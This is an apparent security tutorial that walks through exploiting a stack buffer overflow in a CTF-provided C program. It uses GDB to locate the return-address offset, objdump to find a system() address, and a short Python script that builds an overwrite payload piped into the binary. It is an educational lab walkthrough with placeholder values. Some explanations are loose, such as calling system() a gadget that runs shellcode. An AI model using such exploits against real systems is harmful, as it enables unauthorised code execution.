Buffer Overflow Exploit

G5 Cyber Security

1 week ago

TL;DR

This guide shows how to exploit a simple buffer overflow vulnerability in a C program. We’ll cover identifying the overflow, crafting an exploit payload using Python, and running it against the vulnerable application.

Prerequisites

A Linux environment (e.g., Ubuntu, Kali).
Basic understanding of C programming.
Familiarity with command-line tools.
The vulnerable program (provided as part of the CTF challenge).

1. Identifying the Buffer Overflow

First, we need to confirm the buffer overflow exists and understand how it works.

Compile the Program: Compile the C program using GCC with debugging symbols.
```
gcc -g vulnerable_program.c -o vulnerable_program
```
Run in GDB: Start the program within the GNU Debugger (GDB).
```
gdb vulnerable_program
```
Set a Breakpoint: Set a breakpoint at the function where user input is handled. This will allow us to inspect memory before and after the input.
```
break main
```
Run the Program: Run the program with an input string longer than the expected buffer size.
```
run <input_string>
```
Inspect Memory: Use GDB commands like x/20s $rsp (or similar, depending on architecture) to examine the stack. Look for how the input overwrites adjacent memory locations.
1. If you see the input string extending beyond the expected buffer, a buffer overflow is likely present.
2. Note the address of the return address on the stack; this will be our target.

2. Crafting the Exploit Payload

Now that we know there’s an overflow, let’s create a payload to overwrite the return address and redirect execution.

Determine Offset: Calculate the exact offset from the beginning of the input buffer to the return address on the stack. This can be done manually in GDB or using tools like pattern_create/pattern_offset (from Metasploit).
Find a Gadget Address: Locate a useful gadget address within the program’s memory space. A common target is a function that executes shellcode, such as system(). Use objdump -d vulnerable_program or similar to find suitable addresses.
```
objdump -d vulnerable_program | grep system
```

Write the Python Exploit Script: Create a Python script to generate the payload.

import sys

def create_payload(offset, gadget_address):
    payload = b'A' * offset
    payload += gadget_address.to_bytes(8, 'little') # Assuming 64-bit architecture
    return payload

if __name__ == '__main__':
    offset = <your_calculated_offset>
    gadget_address = <your_found_gadget_address>
    payload = create_payload(offset, gadget_address)
    sys.stdout.buffer.write(payload)

3. Running the Exploit

Finally, execute the exploit against the vulnerable program.

Run the Script and Pipe to Program: Execute the Python script and pipe its output into the vulnerable program.
```
python exploit.py | ./vulnerable_program
```
Verify Execution: If successful, the program should execute the shellcode or function pointed to by the overwritten return address (e.g., a shell will be spawned).

4. Troubleshooting

Segmentation Faults: These often indicate an incorrect offset or gadget address. Double-check your calculations and addresses in GDB.
Incorrect Shellcode Execution: Ensure the shellcode is compatible with the program’s architecture and environment.
ASLR (Address Space Layout Randomization): If ASLR is enabled, you may need to bypass it using techniques like information leaks or brute-forcing.